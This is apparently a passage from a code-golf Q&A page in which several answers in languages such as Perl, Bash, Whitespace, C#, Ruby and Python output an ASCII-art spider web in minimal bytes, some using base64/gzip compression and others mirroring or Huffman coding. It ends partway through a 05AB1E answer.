updated explanation. [Answer] ## [Perl 5](https://www.perl.org/) 439 402 bytes Rather than using base64/gzip, this approach is to mirror and flip the top left quadrant, with appropriate substitutions ``` use 5.010;map{s^t^___^g;s!p!||!g;s%s% %g;y&b&\\&;my@b=split//;@c=reverse@b[0..15];map{y;\\/(;/\\);;push@b,$_}@c;unshift@a,\@b;say@b}(split/n/," ttttt_n|btttttnpssbssss |npss bsss /|npss /b'.__.' :np __.'sbsss|np'.ss /b'---':npb '. /'sb__ _|np |s/.s /b ' :np |s| './sb _|np/ '/.s/'. // :np__/t/t/_b(+");for$j(0..10){for$i(0..34){$_=$a[$j][$i];y:\\/.'+_:/\\'.O :;s/ /_/ if$a[$j+1][$i]=~s/_/ /;print}say} ``` [Try it online](https://tio.run/##JZBhjoJADIWvUjfoQNQpZtc/NCTcYA8g2jAGFaPshOImRNirszPQ@fM63@tLWls2j/04vqSEvY53MT0L@5ZTe2Lm05VkYRd9v3BiKUuA5ZW6lVnl@YqeXWZSsY@qRaTsnDblb9lImZlDrPVuf5yCOspzDAnzPCKyL7llZhPwkJ3pVcuturRZsckzQ1K4tCGc42rcfEDri@veTKK2IkZcQe8leA04azRKM2sFSW3Bi8npmNIz3W63yjEDSgM6ygzsMPSC2htgHu2ldw4UM1EE5Sj6EfSYGVv32ITrj4guP01wD/2icfT2TeWbz6/oHXAaFIfgfjwE1ZG6xO2v1ZoTdwKlvyEhQUBGqC6Tbb2bjOmf@E8k21R1O7hzDOP4Dw) For those interested, a commented version: ``` # use 5.010 is shorter for the says use 5.010; map{ # sed replace keys in long string s^t^___^g; s!p!||!g; s%s% %g; y&b&\\&; my@b=split//; # don't mirror the middle @c=reverse@b[0..15]; map{ # transliterate the right mirror y;\\/(;/\\);; # add to end of current line push@b,$_ }@c; # build bottom array unshift@a,\@b; #print completed line say@b }(split/n/, # this string is the top left quadrant. " ttttt_n|btttttnpssbssss |npss bsss /|npss /b'.__.' :np __.'sbsss|np'.ss /b'---':npb '. /'sb__ _|np |s/.s /b ' :np |s| './sb _|np/ '/.s/'. // :np__/t/t/_b(+"); # handle _ changes and print for$j(0..10){ for$i(0..34){ $_=$a[$j][$i]; # transliterate the bottom chars y:\\/.'+_:/\\'.O :; # handle _ adjustments s/ /_/ if$a[$j+1][$i]=~s/_/ /; print } say } ``` [Answer] # [///](https://esolangs.org/wiki////), 463 bytes ``` /=/---//</ : //;/"""0//9/% //8/|!//7/\/\///6/%!75/&!74/ 8| 73/.'72/'.71/!,70/__7,/! 7&/\\\7/%/\\\&/#/|| ||7"/0000_7!/ / ;0 |%;&| |8!6!18!15!#161&|61&1#1&%203<203&%1# 03!6!!8!!520 #21&%'=':'='&%13#92 &'!%0 _|_ 05'93 &# 8&.,&9'<' &%,.6| #4259_|_ 5%34#& '&.!&2 &&<%936.%' %#0&0_&0_&_%(+)&_%0_%0_%0#!%,%,9&(O)9&,&,5#9.%'!%3 %%_:_&& 25'&. &#436586&24# 8%',%&_._:_._%&,'5| #& 3 %,5!8!%,& 2 %#3_,'%&.=.:.=.%&',_2#,2!& 0,|,0 63,#1%&3!2<3!2%&1#151%|51%1#00&"|"%00|| |&;%| ``` [Try it online!](https://tio.run/##JVBBjiMhDLzPK@xGNhktwQaapkk6b9gPREJzGGkPe8uVv2fcGnCBUFXZxq//X69/36/3Wx5yvV5FDoEbiNxlWRYV6UL22mWiSJOnbZFNCFsVxrYK7BNakehbFh9bEgxNZYwWBKGxPJ/PJnReLE7m/JizLaK2RkMBELjrx6Q7G7PjhmnHVNGlLfE0JJeYspbDwJQcaDER7og1K7hsrH/4m8HY4noG9kgKYw7Q6nsBdrBzDNz94YEpxG2CW3Ptp6RSWR2D54hsVj6oly2SB3LKOs4YdPnzaaf@hkMKFDpf/n52Dhyq66ZHKkA0boMZcrV0VnYtW903zqs1QD4Qj2iCOIiDr9YDg3lCtb9QMJeVLCN44viINwOxDyO7kJFBwwwKWwkuERfMh4HO2dRE05CcKi9zIdVzwnyn@X7/AA "/// – Try It Online") [Answer] # Bash, 391 bytes ``` base64 -d<<<H4sIAPPWTlkAA32SS47EMAhE9zkFO7o1CuxziblASVyEww+FP53WSLGEReLyK4wt8TyOxOO655EpNSBr5M68P5diSzxxF9wUDrUIU7lkJI6bolcWJTeByqFQW5TzPPXqeRJMW4FSi5NSeyIrggTUepXVLgV2a4p0HdIEAy23IovjrIUMJrU/t8JFiXB6eTFAPghRQSvKNlbg9fOuufIZsx+QFf76faObNWOehby2BuKKsuqi6O23Stvau2MYReXXWQgReFgxLEAL9dtZyN+Xue6RXvMspsEtcKt+29Uz2GMJtXW3vBqvbk9GJeyHfr8P549SXjIS/Hsf890gd/ZRxOzoGLmzfsBUeDwN5PEH4O6M4A0DAAA=|gunzip ``` [Try it online!](https://tio.run/##Dc/LspowAADQX@ne6WghRJnxLkJNJLyCBCR1B5eAXGlFwnv677bnD06eqfv7nWdKQvDte3E8Hm2gKArDNG4eCOka52CPfXTH5vogbP/88XOY1zpvEL8ueJo2JDT0lHtnHElvccHUH@KFzYxBw8BtwK3O8OEhNIqar/NMzCk5dQlN9s3DoTB/Np@pE0treZFLasRrGIqXjBw/BYTXRsDlQruqihPZiqtXXbUMtDu7oBgtmk6f41dHE9/pkm1/cEgtLChjgsLqHl346AZNXpklG4aS3tS8uZByD8uM5UHK5D1fNGtwXTW8asg0nfdjNmj@r0gKkV6qSJJq9jDyzKK/LcFGDBJGYvRVq3D/6fYbzUxW7ew7vUj10XqN@cM8O3Kxy@5/FZhcfFG@tVV5MHdVsb1FM1ufZ@/3WiorkacpMEJsAwZ9gHYnhNDH32r4s9bt@/0P "Bash – Try It Online") Kudos to everyone who was able to beat off-the-peg compression - this is me throwing in the towel! I acknowledge the Python folks who got in with the zlib/gzip approach first. [Answer] # [Whitespace](https://web.archive.org/web/20150618184706/http://compsoc.dur.ac.uk/whitespace/tutorial.php), ~~4723~~ 4584 bytes ``` S S S T T T T S N S S T T S N S S S T N S N S S N S S N S S N S S N S S N S S N S S N S S N S S N S S N S S N S S N S S N S S N S S N S S N S S N S S N S S N S S N S S N S S N S S N S S N S S N S S N S S N S S S T T S T T T T N S S S T T T T S N S S T T S T S T S S N S T S S T N S N S S S S T N S N S S N S S N S S S T T S N S S S T N S N S S N S S N S S N S S N S S N S S N S S N S S S S T T T T S N S S S T N S N S S N S S N S S N S S N S S N S S N S S N S S S T T S T T T T N S S S T N S N S S N S S N S S S S T T T T S N S N S S S T T S T S T S S N S T S S T N S N S S S T T T T T T S N S N S S N S S N S S N S S S T T S N S T S S T N S N S S N S S N S S N S S N S S N S S S T T S T T T T N S S S T T T T S N S S T T S N S T S S T T N S N S S N S S N S S N S S N S S N S S S T T S T T T T N S T S S T N S N S S N S S N S S N S S S S T T T T S N S N S S S T T S T S T S S N S T S S T N S N S S S T T T T T T S N S N S S N S S N S S N S S S T T S T T T T N S S T T S N S S T T T S S S S N S S T T T S T T T N S S T T T T T T S N S N S S T S S T S N S S T T T S S S S N S T S S T S N S S T T S S T S S N S T S S T N S S T T T S S S S N S S T T T S T T T N S T S S T S N S N S S T S S T S N S S T T T S S S S N S S T T S T T T T N S S T T S N S T S S T S S N S N S S N S S N S S N S S S S T T T T S N S N S S S T T S T S T S S N S T S S T N S N S S S T T T T T T S N S N S S N S S S T T T S T T T N S S T T T S S S S N S T S S T S N S N S S S T T S N S T S S T N S S S T N S N S S T S S T S N S N S S N S S S S T T T T S N S T S S T N S N S S N S S S S T N S N S S T S S T S N S S T T S T T T T N S T S S T N S N S S S T T T S S S S N S S T T T S T T T N S T S S T S N S N S S N S S S S T T T T S N S N S S S T T S T S T S S N S T S S T N S N S S S T T T S S S S N S S T T T S T T T N S S S T N S S T T T T T T S N S N S S N S S S T T T S T T T N S S T T S T T T T N S S T T S N S S T T T S S S S N S S T T T S S S T N S N S S N S S S T T T S S S S N S S T T S S T S S N S T S S T N S S T T T S S S T N S N S S N S S T S S T T N S S T T S T T T T N S S T T S N S S T T T S T T T N S S T T T T T T S N S N S S N S S S S T N S S T T T S T T T N S S T T T S S S S N S S S T T T T S N S N S S S T T S T S T S S N S T S S T N S N S S S T T S N S S T T T T T T S N S S T T T S S S S N S S T T T S T T T N S T S S T S N S S T T S T T T T N S T S S T N S N S S N S S S T T S N S T S S T N S N S S N S S N S S S S T T T T S N S T S S T N S N S S N S S N S S S T T S T T T T N S T S S T N S N S S N S S S T T S N S T S S T N S S T T T S T T T N S S T T T S S S S N S T S S T S N S S T T S T T T T N S S S T T T T S N S N S S S T T S T S T S S N S T S S T S N S N S S S T T T T T T S N S T S S T N S T S S T N S N S S S T T S T T T T N S S T T T S T T T N S T S S T S N S N S S N S S S T T S T T T T N S S T T S N S S S T N S S T T T S S S S N S S S T N S S T T S S T S S N S S S T N S T S S T T N S S S T N S S T T S T T T T N S S T T S N S S T T T T T T S N S N S S N S S S T T T S T T T N S S T T S N S T S S T S N S N S S S S T T T T S N S T S S T S N S T S S T N S N S S S T T S T S T S S N S T S S T S N S N S S S T T T T T T S N S T S S T N S T S S T N S N S S T S S T S N S T S S T N S S T T T S S S S N S S T T T S T T T N S S T T S T T T T N S T S S T T N S N S S S T T S N S T S S T N S N S S S S T T T T S N S T S S T N S N S S S T T S T T T T N S T S S T S N S N S S S T T S N S S T T T S T T T N S S T T T S S S S N S T S S T T N S S S T T T T S N S T S S T N S N S S T S S T S N S T S S T N S S S T T T T S N S N S S S T T S T S T S S N S T S S T N S N S S S T T S T T T T N S S T T T T T T S N S S T T T S S S S N S T S S T S N S S T T T S T T T N S T S S T T N S N S S S T T S T T T T N S S T T T S S S S N S S T T T S T T T N S T S S T T N S S T T S T T T T N S N S S S S T N S S T T S S T S S N S S S T N S S T T S N S N S S S T T T T T T S N S S T T T S T T T N S S T T T S S S S N S S T T S N S T S S T T N S N S S S T T T S T T T N S S T T S N S S T T T S S S S N S T S S T T N S S T T S N S S S T T T T S N S N S S S T T S T S T S S N S T S S T N S N S S S T T T T T T S N S N S S S T T S T T T T N S T S S T N S N S S N S S T S S T T N S T S S T N S N S S N S S T S S T T N S T S S T N S S T T S N S S T T T S T S T N S S T T T T T N S S T T T S T T S N S S T T S T T T T N S S T T T T T T S N S S T T S N S T S S T N S N S S N S S S T T S N S T S S T N S N S S N S S S T T S N S T S S T N S N S S S S T T T T S N S N S S S T T S T S T S S N S T S S T S N S N S S S S T N S N S S S T T S N S S S T N S N S S N S S S T T S N S S S T N S N S S N S S S T T S N S S S T N S S T T S T T T T N S S T T T S T S T N S S T T T S S T T N S S T T T S T T S N S S T T S N S S S T N S S T T S T T T T N S S S T N S N S S N S S T S S T T N S S S T N S N S S N S S T S S T T N S S S T N S N S S S S T T T T S N S N S S S T T S T S T S S N S T S S T S N S N S S S T T S N S S T T T T T T S N S S T T T S T T T N S S T T S N S S T T T S S S S N S T S S T T N S N S S S T T S N S S T T T S T T T N S S T T T S S S S N S T S S T T N S S T T S N S N S S T S S T S N S S T T S S T S S N S T S S T N S S T T S T T T T N S N S S T S S T S N S S T T T S S S S N S S T T T S T T T N S T S S T T N S T S S T T N S N S S S T T T S S S S N S T S S T T N S S T T T S T T T N S S T T T T T T S N S T S S T S N S S S T T T T S N S N S S S T T S T S T S S N S T S S T N S N S S S T T T T T T S N S T S S T N S T S S T N S N S S T S S T S N S T S S T N S S T T T S T T T N S S T T T S S S S N S S T T S N S T S S T T N S N S S S T T S T T T T N S T S S T N S S S T N S S S T T T T S N S S S T N S T S S T T N S S T T S N S T S S T N S N S S S T T S T T T T N S S T T T S S S S N S S T T T S T T T N S T S S T T N S S S T T T T S N S T S S T N S N S S T S S T S N S T S S T N S T S S T N S N S S S T T S T S T S S N S T S S T S N S N S S S T T T T T T S N S T S S T N S T S S T N S N S S S T T S N S S T T T S S S S N S T S S T S N S N S S N S S S T T S N S S T T S T T T T N S T S S T S N S S T T T S T T T N S T S S T N S S T T S S T S S N S T S S T N S T S S T T N S T S S T N S S T T S N S S T T S T T T T N S T S S T S N S N S S N S S S T T T S S S S N S S T T S T T T T N S T S S T S N S N S S S S T T T T S N S T S S T N S T S S T N S N S S S T T S T S T S S N S T S S T N S N S S S T T S T T T T N S S T T T T T T S N S S T T T S T T T N S S T T T S S S S N S T S S T S N S S T T S N S T S S T T N S T S S T S N S N S S S T T S T T T T N S S S T N S N S S S T T T T T T S N S S S T N S S S T T T T S N S S S T N S T S S T T N S S S T N S N S S S T T S N S S T T T T T T S N S N S S S T T T S T T T N S S T T S T T T T N S T S S T T N S S T T T S S S S N S S T T T S T T T N S T S S T S N S S T T S N S S S T T T T S N S N S S S T T S T S T S S N S T S S T N S N S S S T T T S T T T N S S T T T S S S S N S S T T T T T T S N S N S S N S S N S S N S S S T T S N S S T T S T T T T N S S T T T S T T T N S S T T T S S S T N S N S S N S S T S S T T N S S T T S S T S S N S T S S T N S S T T T S S S T N S N S S N S S T S S T T N S S T T S N S S T T S T T T T N S S T T T T T T S N S N S S N S S N S S N S S S T T T S S S S N S S T T T S T T T N S S S T T T T S N S N S S S T T S T S T S S N S T S S T N S N S S S T T T T T T S N S S S T N S N S S S T T T S S S S N S S T T T S T T T N S S T T T T T T S N S N S S S T T S T T T T N S T S S T N S N S S N S S N S S N S S N S S S S T T T T S N S T S S T N S N S S N S S N S S N S S N S S S T T S N S T S S T N S N S S S T T T S T T T N S S T T T S S S S N S S S T N S N S S S T T T T T T S N S S S T T T T S N S N S S S T T S T S T S S N S T S S T N S N S S S T T T T T T S N S N S S N S S N S S N S S S T T S N S S T T S T T T T N S S T T T S T T T N S S T T T S S S S N S S S T N S N S S T S S T S N S S T T T S T T T N S S T T T T T T S N S S T T S S T S S N S T S S T N S S T T T S T T T N S S T T T S S S S N S S S T N S N S S T S S T S N S S T T T S T T T N S S T T S N S S T T S T T T T N S S T T T T T T S N S N S S N S S N S S N S S S S T T T T S N S N S S S T T S T S T S S N S T S S T N S N S S S T T T T T T S N S N S S N S S N S S N S S S T T S T T T T N S T S S T N S N S S N S S N S S N S S N S S N S S S T T S N S S S T T T T S N S S T T S T T T T N S T S S T T N S N S S N S S N S S N S S N S S N S S S T T S N S T S S T N S N S S N S S N S S N S S S S T T T T S N S N S S S T T S T S T S S N S T S S T N S N S S S T T T T T T S N S N S S N S S N S S S T T S T T T T N S T S S T N S N S S N S S N S S N S S N S S N S S N S S N S S S S T T T T S N S T S S T N S N S S N S S N S S N S S N S S N S S N S S N S S S T T S N S T S S T N S N S S N S S N S S S S T T T T S N S N S S S T T S T S T S S N S T S S T N S S T T S T T T T N S S S T N S N S S N S S N S S N S S N S S N S S N S S N S S N S S N S S N S S N S S N S S N S S N S S N S S N S S N S S N S S N S S N S S N S S N S S N S S N S S N S S N S S N S S S T T S N S S S T T T T S N S S T T S T S T S S N S S S T N S N S S N S S N S S N S S N S S N S S N S S N S S N S S N S S N S S N S S N S S N S S N S S N S S N S S N S S N S S N S S N S S N S S N S S N S S N S S N S S N S S N S S N S S N S S S T T T T T T S N N S S N S S S T S T T T T S N T S S S T N S S N S N N ``` Letters `S` (space), `T` (tab), and `N` (new-line) added as highlighting only. [Try it online](https://tio.run/##tVjtTsMwDPydPoVfDaFJ8A8JJB6/LCxZ7PPZNd0AtI0u8dedL26/396/Lp8fL6@XfReRdv2Rrb/3V2lbf3v6XzffPW3WY/@9fmzTr/VfiGlZS1dp7xvZPddgOK2tBRBWCzwGmd42HOzwNs9HOGKYAbRua3ya36yd3Z5Zty6I9sgMjaXMCsYxjT2Soc3ARAvYTAvrW@1O1xpWEkDyxItpOAgEccD8MhR1/KbiBLD7ykFCatrTYpaG1byQsGhzSQV5A9A2o/CFPWTYEPOGtKxPSoCNN6sm3bbME4JgyQXLqdG7G1c0cYjFtDEh65IhQvUEze5AUBQEbSMYevTsJgHmMLw0SkFwBWY2IDvjhEKRYkzIbMqgukejKs2VmvYXHBoIsK/KpFVdTnnXDHvhJY3PUrB7Fqj77hCMGzyiS0hWqzVoiF/ATl189kn4LV5KwysVMfESmUFcag5/puOJsPjJTmxLZyAgeHKHxjRYZuGhyhy3haGwVQAjo5HyZM2cK81JKRUuOYapqIs2NA8r71CnrW5YcOIryflWFdL4mDWBogh5diRoBmNGMEFpysZDSI24hJLhXQIbC5KZrDi6cYUF72zcLDZlOrQeHyCH0xpXez5k@tBO37IlYMhGbgJcxhSiP5ipAPfgDV92W4o33zDe5PA8EuFxeBW@5JGlYUUPAJ78hIM/3fg3l6vVf33Of0cIQzx6RbZ9/wE). **Explanation:** I use the approach explained in [this Whitespace tip of mine](https://codegolf.stackexchange.com/a/158232/52210). The approach described is as follows: * First push the values minus a constant value for every character we want to output in reversed order to the stack * Then create a LOOP, and inside this loop we do: + Pop the current top of the stack + Add the constant value to this current value + Print this new value as character to STDOUT + Go to the next iteration of the loop * This will exit with an error that it needs two values on the stack when using the add function after we've outputted every character. The ideal constant value was `94`, which I've generated with [this Java program](https://tio.run/##fVNRa9swEH7vrzj0Yhs3UgcrY3ZMaWEPgWWDZRuDaQgndVN3jlNspVDm/Pb0TrJkpx0x@HTSffq@00n3kD/lk4fbv4fDqsrbFuZ5Wf87A3jcLatyBa3ONQ5P2/IWNhgKF7op6/XvP5BHBAOwC9AU7a7SkAEDdfqTdSflSYToENMRuZTgvs57wkw9ZgDhPjnGjEFCyoArxQNIwDqiB/cgE/NcnachcI8JuKeaTCZBYqyj4YEF4RRxwnDhTtXhr4gHA6ggejkUENySgckJLBEn28GA6pBOmMSIynhI0w0gAQExCVIVyCSlUSIeJAtwbnGYhXK/lGEc0UD34YyrlsnDGRF@jWjoaypcvUiD2G06pKkShfomWUpIjI9g0xGmrsbDZLvjcxoytEJxZOKYEekFYnxQo@RfgL97UvXH5IECU23B8Xp4YizOiF0F3D8JukyBV9MzoWMqFrx@W4KWEJyAdWxex2@rf3SYwuCOQKqvu/26oRNMGxiMON0ysmOp6bay1tBu8qoqWmq2Wa2LddHw@fUv9fP6849P5zDLPlym48508G@@Q3uuu20TEl@ZzdJy@u7yIi3juO/qoa8zxs512i/SluWzLmCZ2Ibn60Lf4EIbRn4ngM7YYsHicDkppxdX7DtL2IJFqY875VXiDqC3N2WdN89WNaRoNM/1Pc@XLdFE0f@VUCvOVtP3H69QIUGlQWR/NoKwL7IexZpMx42bOmB5Fza8Kuq1vg8jmPrCjeTe1LJJ38Ro1dMM4Rmul8eS1i6eW11s@Han@SMeXld1yOz2jMWONGYp3hOLZzHDg/S0r3eGx@kZ1P5sfzi8AA). Using `94` would give a Whitespace program with a total length of **7508 bytes** (7481 + 27 bytes for the loop), or **5791 bytes** (5764 + 27) if we already implement *Duplicate Top* (`SNS`) wherever two of the same characters are adjacent. After that I manually used *Copy 1st* (`STSSTN`), *Copy 2nd* (`STSSTSN`), and *Copy 3rd* (`STSSTTN`) (1-indexed) wherever it would save bytes. [Which can also be found at the Whitespace tips.](https://codegolf.stackexchange.com/a/158230/52210) Which in total resulted in the **4584 bytes** program you see here. [Answer] # C#, 484 bytes Note: I'm not 100% on how to score these. With the header and footer it's 544 bytes. ``` var w=@" uuuuu_n|\uuuuun||ww\wwww |n||ww \www /|n||ww /\'.__.' :n|| __.'w\www|n||'.ww /\'---':n||\ '. /'w\__ _|n|| |w/.w /\ ' :n|| |w| './w\ _|n||/ '/.w/'. // :n||__/u/u/_\(+".Replace("u", "___").Replace("w", " ").Split('n');for(int i=0;i<23;i++){var s=w[i<12?i:23-i].Skip(0);if(i>11)s=s.Select((x,j)=>x=='_'||x==' '?w[22-i][j]=='_'?'_':' ':(x+"\\/o.'")["/\\+'.".IndexOf(x)+1]);Console.WriteLine(s.Concat(s.Reverse().Select(x=>(x+"\\/()")["/\\)(".IndexOf(x)+1]).Skip(1)).ToArray());} ``` Ungolfed: ``` var w = @" uuuuu_n|\uuuuun||ww\wwww |n||ww \www /|n||ww /\'.__.' :n|| __.'w\www|n||'.ww /\'---':n||\ '. /'w\__ _|n|| |w/.w /\ ' :n|| |w| './w\ _|n||/ '/.w/'. // :n||__/u/u/_\(+".Replace("u", "___").Replace("w", " ").Split('n'); for (int i = 0; i < 23; i++) { // mirror the web vertically and convert the strings to IEnumerable var s = w[i < 12 ? i : 23 - i].Skip(0); if (i > 11) { // shift _ characters up a row, then flip all the mirrored characters (also replace + with o) s = s.Select((x, j) => x == '_' || x == ' ' ? w[22 - i][j] == '_' ? '_' : ' ' : (x + "\\/o.'")["/\\+'.".IndexOf(x) + 1]); } // mirror each string horizontally and flip the mirrored characters Console.WriteLine(s.Concat(s.Reverse().Select(x => (x + "\\/()")["/\\)(".IndexOf(x) + 1]).Skip(1)).ToArray()); } ``` [Try It Online!](https://tio.run/##XVFfb9sgEP8qJ17g5Bpq9y2uk017mrRpUzNpDyFClksmOg9nxgmuQj57Ck6mTQMhfv/uxInW5W0/6MvBGfsD1q9u1L@qfwn/ZOzvqu0a5@DryY3NaFo49uYZPjfGMjxdjs0Avn5H4JCWskHOwIbgvfRxQZgxJALiRoSkXClOYRE5JDSHk0v51c/znCZXAuUgoq8UqBSA4AVPEbiVBx9iRnh59QXQ6ItUJeaAUuIQt5IsI/xJ77um1YwcyB0QpRTBv5pPGkCU1vvOjIxaitWuH5ixI5j6vjKP5UNlsgxPaW5X@415LMqVWZQPudny9U@zZ/dYmR0zy6JAVzu@1p1uR8amuxesl1NdU0VDSDfQld@UZSzcvGxnfRXPIuoLNmVEStFzSnBDhJQZ5YR/tM96@rJjE2bFFqsPvXV9p/n3wYw6fpRmjketbcYInvRRD04z/POAqV7eujK8NUX2f8/rBAUi/9a/H4bmlSFW58v5fHkD) [Answer] # Ruby 1.9.3, ~~1102~~ 763 bytes ``` a=" 9_9_9_4_\n|\\9_9_9_2_/|\n2|4 \\9 |9 /4 2|\n2|5 \\7 /|\\7 /5 2|\n2|5 /\\'.2_.' : '.2_.'/\\5 2|\n2| 2_.'2 \\6 |6 /2 '.2_ 2|\n2|'.5 /\\'3-':'3-'/\\5 .'2|\n2|\\ '. /'2 \\2_ _|_ 2_/2 '\\ .' /2|\n2| |2 /.3 /\\ ' : ' /\\3 .\\2 | 2|\n2| |2 | './2 \\ _|_ /2 \\.' |2 | 2|\n2|/ '/.2 /'. 2/ : 2\\ .'\\2 .\\' \\2|\n2|2_/3_/3_/_\\(+)/_\\3_\\3_\\2_2|\n2|2 \\3 \\3 \\ /(O)\\ /3 /3 /2 2|\n2|\\ .\\'2 \\.' 2\\_:_2/ './2 '/. /2|\n2| |2 | .'\\2 /2 |2 \\2 /'. |2 | 2|\n2| |2 \\'3 \\/_._:_._\\/3 '/2 | 2|\n2|/ .' \\3 /4 |4 \\3 / '. \\2|\n2|.'_3 '\\/.3-.:.3-.\\/'3 _'.2|\n2|3 '.2 / 2_3 |3 2_ \\2 .'3 2|\n2|5 \\/.'2 '. : .'2 '.\\/5 2|\n2|5 /7 \\|/7 \\5 2|\n2|4_/9_|9_\\4_2|\n|/9_9_9_2_\\|\n" .split '';r='';loop{e=a.shift;break unless e;e.to_i==0 ? r<<e : r<<a.shift*e.to_i};puts r ``` [Try It Online!](https://tio.run/##VVLbboMwDH3fV1h9Sbup8ZTQVkDRPmE/EClqJaZVq2gF9GFa9u3s2NDLBDjBPj4@sdNe9t/DMOyqGeVRniyGJoUw/rjIKTQuZQQPpZw4I6eeFTwbQlTs6ubkEIx10RoqaNzAcw2T/DskrimtiZ0ippixY7JfmkKMpgGtwRAAJdZcZMSErCj5CKAUT/TJEVsvNKT1ZefJIocS3TEJZCxUSqQ7kKQ7iMmwBRdqOgaR0zJCAy4jGhQGCV7fGML8ZSGLnz4XJwiJgvEjnr8vZPH6OrqdTVgnFSgVi4iqKhEyHg@XJhWIKPMoMf0/nfQQhqMFkYUWFDP8eDhrVBFGqXPFTrp7PZU10Utj0cmlLcRgD8qIYSnAy9iQ44DDD@ahnQHkfjNY5gzSgsYNPA93ZANEUnt1ZpHzmHKozbRzia/3D8jQzJ5sdz4eejKmbCuY4@l0/qmrne0@Dx99uW/r3RddmmPddVSXte1P8VBVr/RG7XZbQwaWCfw8Rn/L86XvqB3@AA) [Answer] # C#, 401 399 397 396 389 bytes Wrote this one as an excuse to try Huffman coding ``` BigInteger v=0;foreach(var c in @"!P~`]~~R'vZWB';uq4w_HVe,OinAa6=/[ k5)HMJCPVyy)ZtdpW<P*-KAp=b`(p|jvUoBs/d!S4pqmw@ >|b3e;?\o<Hw2Ndi2B+|r}]B'*qHwXv%Zt :Hj[@,^/^/Kq^ep:A!2<GjH5i8yo]thre{B=U:""^DTzb`-xA")v=95*v+c-32;String t=@"wtb/\nb::heb++OO)(--..__heb''\/|| ",s="";for(int p=0;v>0;v/=2)if(t[p+=v%2>0?t[p]-95:1]/24!=4&&(s=(s!=""?t[p+1]+s:s)+t[p]).Length>32+(p=0))Console.WriteLine(s,s=""); ``` Ungolfed: ``` BigInteger v = 0; foreach (var c in @"!P~`]~~R'vZWB';uq4w_HVe,OinAa6=/[ k5)HMJCPVyy)ZtdpW<P*-KAp=b`(p|jvUoBs/d!S4pqmw@ >|b3e;?\o<Hw2Ndi2B+|r}]B'*qHwXv%Zt :Hj[@,^/^/Kq^ep:A!2<GjH5i8yo]thre{B=U:""^DTzb`-xA") v = 95 * v + c - 32; String t = @"wtb/\nb::heb++OO)(--..__heb''\/|| ", s = ""; for (int p = 0; v > 0; v /= 2) if (t[p += v % 2 > 0 ? t[p] - 95 : 1] / 24 != 4 && (s = (s != "" ? t[p + 1] + s : s) + t[p]).Length > 32 + (p = 0)) Console.WriteLine(s, s = ""); ``` Older version ungolfed with comments: ``` BigInteger v = 0; // the data here is an encoded version of the right half of the web foreach (var c in @"!P~`]~~R'vZWB';uq4w_HVe,OinAa6=/[ k5)HMJCPVyy)ZtdpW<P*-KAp=b`(p|jvUoBs/d!S4pqmw@ >|b3e;?\o<Hw2Ndi2B+|r}]B'*qHwXv%Zt :Hj[@,^/^/Kq^ep:A!2<GjH5i8yo]thre{B=U:""^DTzb`-xA") v = 95 * v + c - 32; // converts from base-95, I'm using every single-byte printable character in UTF-8 // our binary decision tree for our Huffman coding // a loweralpha character asks for a bit // on zero you increase your pointer by 1 // on 1 you increase your pointer by an amount equal to the loweralpha character // every other character is a character that gets printed, followed by its mirrored counterpart String t = @"wtb/\nb::heb++OO)(--..__heb''\/|| ", s = ""; for (int p = 0, l = 0; v > 0; v /= 2) { p += v % 2 > 0 ? t[p] - 95 : 1; // begin reading one bit at a time and going through the decision tree if (t[p] / 24 != 4) // "good enough" for determining if the character is a loweralpha or not { s = (l++ > 0 ? t[p + 1] + s : s) + t[p]; // add the character and its mirror to both sides of the string, unless we're just starting if (l > 16) { Console.WriteLine(s); s = ""; l = 0; } // once the string is long enough, print it p = 0; } } ``` [Try It Online!](https://tio.run/##VVFrb9owFP0rTqQ2NiFJG2BaE0whnbSsL9BYywQESIILZsV52DhlPP46C/u0fbjSPfdxju65MTfiJCenDadsAfpbLsja/ReYj5Rl/1eeN2uS05i78XvIOejt0pzKUBDARShoDGRC5@AppAyi3cmji29MkAXJgcRX7lspFsZLKMMcxIAy0FaV3nEWHI/fNTkceJq7yerF1H8l1S5lnfATtkbgVwP5T/d3vdftFg3FPB00exXjoZPiaAbT/Uq@JB635kq/nmbrog1a@6hG3Ntx0vQL@3lObU/f54fA0yqZX/yUF0MBHH81alcn1sR6yCYkdTqK3fy68hv08zYJxDInOw@/OKo6@fLjdzQzPjoqkvimUZF6bNRsty/ysx8Ct9VCRNaYRY6zJJGud7sIGoZpTqcl1LSxtd8DoFY5VtXz6ZAyAdLSBtkqw8I2om9QjFIdywu7dXVbpoFx03CuA8uuK7h@eQk5hlwp1889/TrQucORfp5D5iNhC7Fs1WwdlpwI3SWMJ@/EHORUkPJtBPK/ysg9HQ6nPw) [Answer] # [Python 2](https://docs.python.org/2/), 395 bytes ``` print'eNp9kk2uwzAIhPc9BTtaPQX2uUQvMBIX4fCPwT9NVSmWbJF4/A3GSNyPR+J23/ORKTUga+SOvD+XYks8cRVcFA61CFM5ZQSOi6J3FiU3gcqhUFuU4zj07HUSTFuBUouTUmciawYJqP1Kq10K7NYU6TykCQZabkUWx5kLGQzqfG6FixLh9PJigHwQooJWlG2sieffq9aK55z1gKzpz/cLXaw5513Ia2sgziirTorefsm0rb0rhpFUft2FEIGHFcMCtFC/3IX8/ZjrHek172IaPAK3qredvYI1llBbb8un8ar2ZFTAeuh3fzh/lPKUEeCnP2bfIHf0UcSs6Bi5o25gKvy2k5H/H7zBvA=='.decode('base64').decode('zlib') ``` [Try it online!](https://tio.run/##PcjJdqowAADQz6E9nlMgGJRFF8BrmBxASEV3ARNIQZmh5uft7t3lbZ9j2TzA69X2/DFK9NAaVQWmRZheGeaGlYwkjFIw4WjeW166Zna4JMbhO76fMx@tZVNz4sMzPK18oMnHU5Dggqzi4/xvlV6qYZufvnNk6qqN9vAaxUeu@xriWCvyrsRowmvxo2xcHCdosnAzJfiec7Jc/C5Ug05Vgs3hgvXkWdnRlWQVPv/CaudEomOOjvjvrjRCnxfuEjWNf64dMHDKWGeQAEKhFoFohZzvUrJAqGoeAUMhOO@TpqdsuCt9pvRlizAbAfryHBfle3tEtqx56Va@/vQurdQN8EhoBlrX09t88dS6trJsOz22pAdXlJh0KjUmSrkOA/xF7UcIMua5TMF5POgWhw2ARTA/QQVd2d0IazY/P6WPG82bG32TMjJQfS29/w9R80x6f73@AA "Python 2 – Try It Online") [Answer] # [05AB1E](https://github.com/Adriandmen/05AB1E/wiki/Commands), 204 [bytes](https://github.com/Adriandmen/05AB1E/wiki/Codepage) ``` " '(+-./:O\_|"•5ñǝ¶P 